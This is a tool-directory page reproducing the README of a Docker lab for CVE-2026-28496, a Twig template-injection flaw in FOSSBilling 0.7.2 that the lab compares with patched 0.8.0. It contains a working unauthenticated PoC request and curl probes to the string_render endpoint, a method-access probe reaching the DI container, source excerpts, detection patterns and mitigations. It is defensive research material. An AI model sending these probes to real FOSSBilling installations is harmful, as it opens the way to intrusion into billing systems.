Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-28496-Lab — CVE-2026-28496 を再現および検証するための Docker ベースのラボ。FOSSBilling の Twig レンダリングにおけるサーバーサイドテンプレートインジェクションの脆弱性で、脆弱なターゲットとパッチ適用済みのターゲットを比較します。 | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-28496-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubrootdirective-sec/cve-2026-28496-lab

CVE-2026-28496-Lab

CVE-2026-28496 を再現および検証するための Docker ベースのラボ。FOSSBilling の Twig レンダリングにおけるサーバーサイドテンプレートインジェクションの脆弱性で、脆弱なターゲットとパッチ適用済みのターゲットを比較します。

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-28496 - FOSSBilling の Twig レンダリングにおけるサーバーサイドテンプレートインジェクション

概要

このリポジトリには、FOSSBilling の Twig テンプレートレンダリング動作に影響を与えるサーバーサイドテンプレートインジェクションの脆弱性である CVE-2026-28496 を再現・検証するためのローカル Docker ラボが含まれています。

FOSSBilling は、無料かつオープンソースの請求・クライアント管理プラットフォームです。0.8.0 より前のバージョンは、提供されたテンプレート式を評価できる安全でない Twig テンプレートレンダリング動作の影響を受けます。このラボでは、FOSSBilling 0.8.0 をパッチ適用済みの比較対象として使用しています。

このラボでは、以下の 2 つの FOSSBilling バージョンを比較します。

サービスFOSSBilling バージョン目的URL
vuln0.7.2脆弱な比較対象http://localhost:8081
patched0.8.0パッチ適用済みの比較対象http://localhost:8082

このローカルラボで実証される HTTP 検証パスは次のとおりです。```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior

root@kitploit:~
脆弱なターゲットでは、API呼び出しは次を返します:```json
{"result":"49","error":null}

パッチ適用済みターゲットでは、同じリクエストは次を返します:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
このラボは、FOSSBilling 0.7.2 と FOSSBilling 0.8.0 を使用して、脆弱性のある HTTP 動作とパッチ適用済みの HTTP 動作を検証します。

このラボは意図的にローカルの Docker サービスに限定されています。外部システムを対象とせず、Web シェル、マルウェア、永続化、外部コールバック、データベースダンプ、または破壊的なペイロードを含みません。

## 検証済みの事実

| 主張                                                                               | エビデンス                                                                                                           | このラボでの確認方法                                                                  |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 は FOSSBilling 0.8.0 より前のバージョンに影響します。                         | 公開された CVE およびアドバイザリのメタデータは、FOSSBilling 0.8.0 より前のバージョンが Twig SSTI の影響を受けると特定しています。                     | References セクションを確認し、脆弱なターゲットバージョンとパッチ適用済みのターゲットバージョンを比較してください。  |
| FOSSBilling 0.7.2 は脆弱な比較対象として使用されます。                      | 脆弱なサービスは公式の `fossbilling/fossbilling:0.7.2` Docker イメージから構築されます。                    | `vuln/Dockerfile` を確認し、`docker compose ps -a` を実行してください。                              |
| FOSSBilling 0.8.0 はパッチ適用済みの比較対象として使用されます。                         | パッチ適用済みサービスは公式の `fossbilling/fossbilling:0.8.0` Docker イメージから構築されます。                       | `patched/Dockerfile` を確認し、`docker compose ps -a` を実行してください。                           |
| 脆弱な HTTP パスは `/api/system/system/string_render` です。                     | 脆弱なターゲットは、`_tpl={{ 7*7 }}` に対して `result: "49"` を含む JSON を返します。                                       | `python3 poc/poc.py --url http://localhost:8081` を実行してください。                                  |
| パッチ適用済みターゲットは同じ HTTP 動作を公開しません。                          | パッチ適用済みターゲットは `Unknown API call system/system/string_render` を返します。                                         | `python3 poc/poc.py --url http://localhost:8082` を実行してください。                                  |
| PoC は HTTP のみです。                                                               | `poc/poc.py` は HTTP POST リクエストを送信し、Docker、Docker Compose、シェルコマンド、またはコンテナ API を呼び出しません。 | `poc/poc.py` を確認してください。                                                                  |
| ラボは Docker Compose 起動中に両方の FOSSBilling ターゲットを自動インストールします。       | ワンショットインストーラのサイドカーコンテナはセットアップを完了し、ステータス 0 で終了します。                                   | `docker compose ps -a` と `docker compose logs installer-vuln installer-patched` を実行してください。 |
| 脆弱なターゲットは無害な Twig 式をレンダリングします。                         | ポート 8081 からの HTTP レスポンスは `{"result":"49","error":null}` です。                                                | 脆弱な PoC コマンドを実行してください。                                                        |
| パッチ適用済みターゲットは、テスト対象の API パスを介して同じ式をレンダリングしません。 | ポート 8082 からの HTTP レスポンスは、コード `879` の JSON API エラーです。                                              | パッチ適用済みの PoC コマンドを実行してください。                                                           |

## 前提と不明点

このラボでは、公開されている脆弱性調査により FOSSBilling 0.8.0 より前のバージョンが影響を受けると特定され、かつテスト対象のチェーンで使用されている最新の脆弱なリリースが 0.7.2 であるため、FOSSBilling 0.7.2 を脆弱な比較対象として使用しています。

このラボでは、公開されているアドバイザリのメタデータが 0.8.0 をパッチ適用済みバージョンとして特定しているため、FOSSBilling 0.8.0 をパッチ適用済みの比較対象として使用しています。

このラボは、次の観測可能な HTTP 動作に焦点を当てています。```text
POST /api/system/system/string_render

このJSONボディで:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
このラボは、FOSSBilling 0.7.2 が HTTP API パスを通じて提供された Twig 式をレンダリングする一方、FOSSBilling 0.8.0 では同じ API 呼び出しが公開されていないことを示しています。

このラボは、FOSSBilling のすべてのテンプレートレンダリング機能をテストすることを主張するものではありません。CVE-2026-28496 は、アプリケーション内で利用可能なテンプレートレンダリング機能など、他の Twig レンダリングコンテキストにも関連しています。

このラボは、完全な未認証リモートコード実行チェーンを示すものではありません。ローカルの FOSSBilling 0.7.2 ターゲットで観察された未認証の HTTP 動作を検証し、FOSSBilling 0.8.0 と比較します。公開されている完全なチェーンには、ここで示す安全な Twig 式検証に加えて、追加の API 認可動作が関与します。

このラボでは以下を実演しません:

* リモートコマンド実行、
* 認証情報の抽出、
* データベースのダンプ、
* 拡張機能のインストール、
* 任意のファイル書き込み、
* 永続化、
* Web シェルのアップロード、
* 外部コールバック、
* ラボ外のシステムへの攻撃、
* または侵害後の活動。

## 根本原因の要約

CVE-2026-28496 の根本原因は、安全でない Twig テンプレートレンダリングです。

FOSSBilling は動的テンプレートのレンダリングに Twig を使用しています。影響を受けるバージョンでは、提供されたテンプレート文字列が、十分なサンドボックス制限なしに Twig レンダリングロジックに渡される可能性があります。

この脆弱な動作は次のように要約できます:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response

この無害なテンプレート式の場合:```twig {{ 7*7 }}

root@kitploit:~
脆弱なターゲットは式を評価して、以下を返します:```text
49

セキュリティ上の問題は算術評価に限定されません。算術評価は、このラボで使用される安全な可視シグナルに過ぎません。

よりセキュリティ上重要な問題は、サンドボックス化されていないTwigテンプレートが、テンプレートコンテキストで公開されているオブジェクトやメソッドにアクセスできる可能性があることです。公開された研究では、適切なテンプレートコンテキストオブジェクトが利用可能な場合、Twigテンプレートの実行が依存性注入コンテナを含むアプリケーション内部に到達できる、より影響度の高い経路が説明されています。

単純化した脆弱なモデルは次のとおりです:```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable

root@kitploit:~
FOSSBilling 0.8.0 のパッチ適用済み設計は、脆弱な動作を堅牢化しています。このラボでは、パッチ適用済みのターゲットは、テスト対象の API 呼び出しを公開しなくなりました:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

セキュリティの教訓は:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.

root@kitploit:~
## ソースコード分析

脆弱なHTTP挙動は、FOSSBilling 0.7.2のソースコードパスに裏付けられています。

APIメソッドはリクエストデータから`_tpl`を受け取り、それをシステムサービスのレンダラーに渡します。

関連する脆弱なエントリポイント:```php
public function string_render($data)
{
    if (!isset($data['_tpl'])) {
        error_log('_tpl parameter not passed');
        return '';
    }

    $tpl = $data['_tpl'];
    $try_render = $data['_try'] ?? false;

    $vars = $data;
    unset($vars['_tpl'], $vars['_try']);

    return $this->getService()->renderString($tpl, $try_render, $vars);
}

重要なデータフローは次のとおりです:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()

root@kitploit:~
In FOSSBilling 0.7.2 では、`renderString()` が指定された値をテンプレート名として読み込もうとします。それが失敗した場合、指定された値をテンプレート文字列として扱い、`createTemplateFromString()` に渡します。

簡略化した脆弱性フロー:```php
public function renderString($tpl, $try_render, $vars)
{
    $twig = $this->di['twig'];

    try {
        $template = $twig->load($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception) {
        // $twig->load throws an exception when $tpl is a raw template string
        $parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
    }

    return $parsed;
}

脆弱なシンクは createTemplateFromString() です:```php public function createTemplateFromString($tpl, $try_render, $vars) { try { $twig = $this->di['twig']; $template = $twig->createTemplate($tpl); $parsed = $template->render($vars); } catch (\Exception $e) { $parsed = $tpl;

root@kitploit:~
    if (!$try_render) {
        throw $e;
    }
}

return $parsed;

}

root@kitploit:~
セキュリティ関連のソースパターンは次のとおりです:```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side

これは脆弱性のあるラボの結果を説明しています:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
脆弱なレスポンス:```json
{"result":"49","error":null}

値 49 は、提供された Twig 式がサーバー側で評価されたことを証明します。

安全なラボのペイロードは算術のみを使用します:```twig {{ 7*7 }}

root@kitploit:~
しかし、根本原因は算術式の評価よりもセキュリティ上深刻です。脆弱なレンダリングコンテキストでは、Twigテンプレートがテンプレート環境に存在するアプリケーションオブジェクトと相互作用する可能性があります。公開研究では、APIコンテキストオブジェクトが依存性注入コンテナなどのアプリケーション内部へのアクセスを公開し得る、より影響の大きいチェーンが説明されています。

ソースレベルのリグレッションチェックにより、より深い動作が確認されました。```text
FOSSBilling 0.7.2:
  {{ guest.getDi() }}
  → DI_VISIBLE

FOSSBilling 0.8.0:
  {{ guest.getDi() }}
  → blocked by Twig sandbox policy

このため、この脆弱性は、単なる計算機的な式評価のバグではなく、安全でないテンプレートレンダリングとして理解するのが最適です。

ソースパッチの概要

FOSSBilling 0.8.0 は、文字列レンダリングを強化し、テストされた脆弱な HTTP 動作を削除することで、脆弱な動作を変更します。

パッチ適用版では、文字列レンダリングは、広範な Twig 機能を備えた任意のテンプレート文字列を直接レンダリングするのではなく、サンドボックス対応レンダリングを経由します。

パッチ適用済みのサービスコードは、サンドボックス対応レンダラーを呼び出します。```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );

root@kitploit:~
サンドボックス化されたレンダラーはテンプレートを作成してレンダリングしますが、Twigのサンドボックス違反を捕捉し、制御されたアプリケーションエラーに変換します:```php
final class SandboxedStringRenderer
{
    public static function render(
        Environment $twig,
        string $content,
        array $context = [],
        string $name = 'template'
    ): string {
        try {
            return $twig->createTemplate($content)->render($context);
        } catch (SecurityError $e) {
            throw new InformationException(
                '%name% contains disallowed Twig syntax: %error%',
                [
                    '%name%' => $name,
                    '%error%' => $e->getMessage(),
                ]
            );
        }
    }
}

サンドボックスポリシーは、デフォルトでメソッドとプロパティへのアクセスをブロックします:```php $methods = []; $properties = [];

root@kitploit:~
セキュリティ関連の変更点は次のとおりです:```text
Before:
  request-controlled template string
  → Twig createTemplate()
  → render without the patched sandbox boundary

After:
  template string rendering
  → SandboxedStringRenderer
  → Twig sandbox policy
  → method/property access denied by default

このラボでテストした公開HTTP APIパスでは、FOSSBilling 0.8.0は同じ脆弱なAPI呼び出しを公開していません:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
これにより、2つの有用な検証レイヤーが得られます:```text
HTTP behavior validation:
  0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
  0.8.0 does not expose the same API behavior.

Source/root-cause validation:
  0.7.2 allows unsafe Twig rendering behavior.
  0.8.0 introduces sandboxed string rendering and blocks method/property access.

ラボはこれら2つのレイヤーを分離した状態に保ちます:```text HTTP PoC result proves the vulnerable endpoint behavior.

Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.

root@kitploit:~
## ラボのアーキテクチャ

ラボでは、Docker Compose を使用して、分離された2つの FOSSBilling インストールを実行します。```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

The two FOSSBilling services use separate databases and separate application versions:

ServiceComponentVersion / Role
vulnFOSSBillingvulnerable target application
patchedFOSSBillingpatched target application
vuln-dbMariaDBdatabase for vulnerable target
patched-dbMariaDBdatabase for patched target
installer-vulncurl sidecarauto-installs vulnerable target
installer-patchedcurl sidecarauto-installs patched target

Default exposed services:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
The lab uses pinned FOSSBilling versions:

| Target                | FOSSBilling version | Expected behavior                                   |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 |               0.7.2 | renders `{{ 7*7 }}` through the vulnerable API path |
| http://localhost:8082 |               0.8.0 | does not expose the same vulnerable API behavior    |

The installer sidecars run automatically during `docker compose up`. They initialize both FOSSBilling targets with local disposable database credentials and then exit.

The lab does not create or modify the vulnerable API route.

The route `/api/system/system/string_render` is provided by the FOSSBilling application in the vulnerable 0.7.2 target after installation. The Docker lab only installs the application through its normal installer flow and then sends an HTTP request to the existing application endpoint.

The patched 0.8.0 target returns `Unknown API call system/system/string_render`, which confirms that the tested route behavior comes from the application version itself rather than from a lab-created route.

## Requirements

* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3
* Internet access during first Docker image pull

No Python third-party package is required. The PoC uses Python standard library modules only.

## Quick Start

Start the lab from a clean state:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

サービスの状態を確認:```bash docker compose ps -a

root@kitploit:~
想定される実行中サービス:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

期待される完了済みインストーラーサービス:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)

root@kitploit:~
インストーラのログを確認してください:```bash
docker compose logs installer-vuln installer-patched

Webアプリケーションを確認してください:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head

root@kitploit:~
脆弱なターゲットに対してHTTP検証を実行してください:```bash
python3 poc/poc.py --url http://localhost:8081

パッチ適用済みのターゲットに対してHTTP検証を実行します:```bash python3 poc/poc.py --url http://localhost:8082

root@kitploit:~
## PoC の使用方法

PoC はローカルの FOSSBilling ベース URL を 1 つ受け付けます:```bash
python3 poc/poc.py --url <target_url>

例:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
PoCはこのHTTPリクエストを送信します:```text
POST /api/system/system/string_render
Content-Type: application/json

リクエスト本文:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
このPoCはHTTPのみを使用します。Docker、Docker Compose、シェルコマンド、WP-CLI、またはコンテナAPIを呼び出しません。

## 期待される結果

### 脆弱なターゲット

コマンド:```bash
python3 poc/poc.py --url http://localhost:8081

想定される脆弱なターゲットシグナル:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}

===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.

root@kitploit:~
### パッチ適用済みターゲット

コマンド:```bash
python3 poc/poc.py --url http://localhost:8082

期待されるパッチ適用済みターゲット信号:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.

root@kitploit:~
重要な違いは次のとおりです:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49

FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error

検証の仕組み

バリデータはFOSSBilling APIエンドポイントに対して、1つのHTTP POSTリクエストを送信します:```text /api/system/system/string_render

root@kitploit:~
リクエストボディには無害なTwig式が含まれています:```json
{"_tpl":"{{ 7*7 }}"}

想定される脆弱な動作:```text HTTP 200 OK JSON result is "49"

root@kitploit:~
パッチ適用後の期待される動作:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable

これは、脆弱なターゲットが提供されたテンプレートをサーバーサイドで評価することを確認します。

PoCは破壊的なペイロードの代わりに意図的に {{ 7*7 }} を使用します。目的は技術的条件を安全に証明することです。```text attacker-controlled template input

  • server-side Twig evaluation
  • observable rendered output
root@kitploit:~
より深いソースレベルでの根本原因検証には、メソッドアクセスの方が根本的な問題の証明として強力です。ただし、このリポジトリの公開PoCでは、影響の大きいチェーンを示すことを避けるため、より安全な算術式を使用しています。

## curl による手動 HTTP 再現

脆弱性プローブ:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

期待される結果:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8

{"result":"49","error":null}

root@kitploit:~
パッチ適用済みプローブ:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

期待される結果:```text HTTP/1.1 400 Bad Request Content-Type: application/json

{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
## 影響

請求およびクライアント管理プラットフォームにおけるサーバーサイドテンプレートインジェクションは、アプリケーションが顧客記録、請求データ、サーバー認証情報、支払い設定、管理者が制御する自動化ロジックを保存する可能性があるため、セキュリティ上重要です。

実証されたラボのペイロードは無害であり、単に以下を評価するだけです:```twig
{{ 7*7 }}

しかし、テンプレート実行がアプリケーションオブジェクト、メソッド、またはサービスコンテナにアクセスできる場合、基盤となる脆弱性クラスはより深刻になる可能性があります。

実際の影響は、構成と到達可能なテンプレートコンテキストに応じて、次のようなものが考えられます:

  • 情報漏えい、
  • アプリケーション内部へのアクセス、
  • 機密性の高いアプリケーションサービスへのアクセス、
  • アプリケーション状態の変更、
  • そして、適切な実行パスと連鎖させた場合のリモートコード実行。

このラボは、安全なHTTP検証シグナルのみを示しています。資格情報へのアクセス、データベースアクセス、拡張機能のインストール、コマンド実行、または侵入後の活動については実証していません。

検出とモニタリング

考えられる指標には、FOSSBilling APIエンドポイントへのHTTPリクエストが含まれます:```text /api/system/system/string_render

root@kitploit:~
不審なリクエストパターン:```text
POST /api/system/system/string_render
Content-Type: application/json

不審なリクエストボディの指標:```text _tpl {{ }} Twig syntax

root@kitploit:~
アクセスログパターンの例:```text
POST /api/system/system/string_render

JSONペイロードの例:

root@kitploit:~
{"_tpl":"{{ 7*7 }}"}
```
推奨される監視アクション:

* ウェブサーバーのアクセスログで `/api/system/system/string_render` を確認する。
* JSONリクエストボディに `_tpl` を含むリクエストを確認する。
* `{{` や `}}` などのTwig構文を含むリクエストを確認する。
* レンダリングされたテンプレート出力を含む成功したAPIレスポンスを確認する。
* 不審なテンプレートレンダリング試行が含まれる失敗したAPIレスポンスを確認する。
* 悪用が疑われる場合は管理者のアクティビティを確認する。
* テンプレート、メール、マスメーラー、ペイメントアダプターの設定変更を確認する。
* テンプレートレンダリングエラーや予期しないAPI呼び出しをアプリケーションログで確認する。

高シグナル検出のアイデア:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"
```
もう1つの高シグナルなローカル検証アーティファクト:```text
Request body:
  {"_tpl":"{{ 7*7 }}"}

Response body:
  {"result":"49","error":null}
```
## 緩和策とパッチノート

FOSSBilling をバージョン 0.8.0 以降にアップグレードしてください。

本番環境では、ラボ比較バージョンで停止するのではなく、利用可能な最新リリースに更新してください。

推奨される緩和手順:

* FOSSBilling を 0.8.0 以降にアップグレードする。
* インストールされているバージョンが影響を受ける範囲にないことを確認する。
* 可能な場合は管理 API パスへの公開アクセスを制限する。
* Web アクセスログで `/api/system/system/string_render` へのリクエストを確認する。
* テンプレート、メールテンプレート、一括メーラー、カスタム決済アダプターに疑わしい Twig 構文がないか確認する。
* 悪用が疑われる場合はシークレットをローテーションする。
* 顧客、請求、決済、サーバー管理の記録を不正アクセスについて確認する。
* WAF ルールやリバースプロキシのブロックは一時的な対策として扱い、アップグレードの代替とはみなさない。

セキュリティエンジニアリングの教訓:

* 特権アプリケーションコンテキストで信頼できないテンプレート文字列をレンダリングしない。
* アプリケーションサービスコンテナをテンプレートコンテキストに公開しない。
* ユーザー制御または管理者制御のテンプレート機能には、サンドボックス化されたテンプレートレンダリングを使用する。
* 明示的に必要な場合を除き、メソッドとプロパティのアクセスを拒否する。
* API の認可失敗を明確にし、フェイルクローズにする。
* テンプレートレンダリング機能をコード実行に隣接する表面として扱う。

## 有用な確認コマンド

コンテナのステータスを確認:```bash
docker compose ps -a
```
インストーラのログを確認してください:```bash
docker compose logs installer-vuln installer-patched
```
Web サービスの確認:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
脆弱なHTTP検証を実行:```bash
python3 poc/poc.py --url http://localhost:8081
```
パッチ適用済みHTTP検証を実行:```bash
python3 poc/poc.py --url http://localhost:8082
```
Manual vulnerable request:
手動の脆弱性リクエスト:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'
```
Manual patched request:

手動パッチ済みリクエスト:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'
```
チェックアウトしたソースツリーから脆弱なソースフローを検査します:```bash
git checkout 0.7.2

grep -n "function string_render" -A30 src/modules/System/Api/Admin.php
grep -n "function renderString" -A70 src/modules/System/Service.php
grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php
```
チェックアウトしたソースツリーからパッチ適用済みサンドボックスレンダラーを確認します:```bash
git checkout 0.8.0

grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig
```
検証エビデンスを保存:```bash
mkdir -p evidence

python3 poc/poc.py --url http://localhost:8081 \
  | tee evidence/vulnerable-http-validation.txt

python3 poc/poc.py --url http://localhost:8082 \
  | tee evidence/patched-http-validation.txt

docker compose ps -a \
  | tee evidence/docker-compose-ps.txt

docker compose logs installer-vuln installer-patched \
  | tee evidence/installer-logs.txt
```
FOSSBillingのレスポンスヘッダーを確認します:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'
```
## クリーンアップ

コンテナとネットワークを停止して削除します:```bash
docker compose down --remove-orphans
```
コンテナ、ネットワーク、ボリュームを削除:```bash
docker compose down -v --remove-orphans
```
作成された場合、ローカルの証跡ファイルを削除します:```bash
rm -rf evidence/
```
## 安全上の境界

このラボは、ローカルでのセキュリティ研究と管理されたデモンストレーションのみを目的としています。

所有していないシステム、または明示的なテスト許可を得ていないシステムに対して、PoCや手動のcurlリクエストを実行しないでください。

このラボでは、実際の本番環境の認証情報、顧客データ、決済データ、APIキー、本番環境のシークレットを使用しないでください。

対象範囲は、以下のようなローカルのDockerサービスのみに限定されています:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
このPoCは、意図的にHTTP専用かつローカルスコープです。Docker、Docker Compose、シェルコマンド、WP-CLI、コンテナAPIを呼び出しません。

このラボには、次のペイロードは含まれていません:

* Webシェルのアップロード、
* 任意のコマンド実行、
* 永続化、
* ラテラルムーブメント、
* 資格情報の窃取、
* データベースのダンプ、
* 顧客データへのアクセス、
* 決済資格情報へのアクセス、
* または外部コールバック。

目標は、制御された環境で1つの特定の技術的状態を実証することです:```text
HTTP request
+ FOSSBilling string_render API path
+ Twig template expression
+ vulnerable target renders the expression
+ patched target does not render the expression
```
## 参考文献

* CVEレコード: CVE-2026-28496
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* GitHub Advisory: GHSA-57mv-jm88-66jc
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* VulnCheck: FOSSBillingの認証バイパスとTwig SSTIによる未認証RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* FOSSBilling Dockerドキュメント
  https://docs.fossbilling.org/getting-started/docker/

* FOSSBilling GitHubリポジトリ
  https://github.com/FOSSBilling/FOSSBilling

* FOSSBilling Dockerイメージ
  https://hub.docker.com/r/fossbilling/fossbilling

* Twigドキュメント: サンドボックス拡張
  https://twig.symfony.com/doc/3.x/sandbox.html
ツールをダウンロード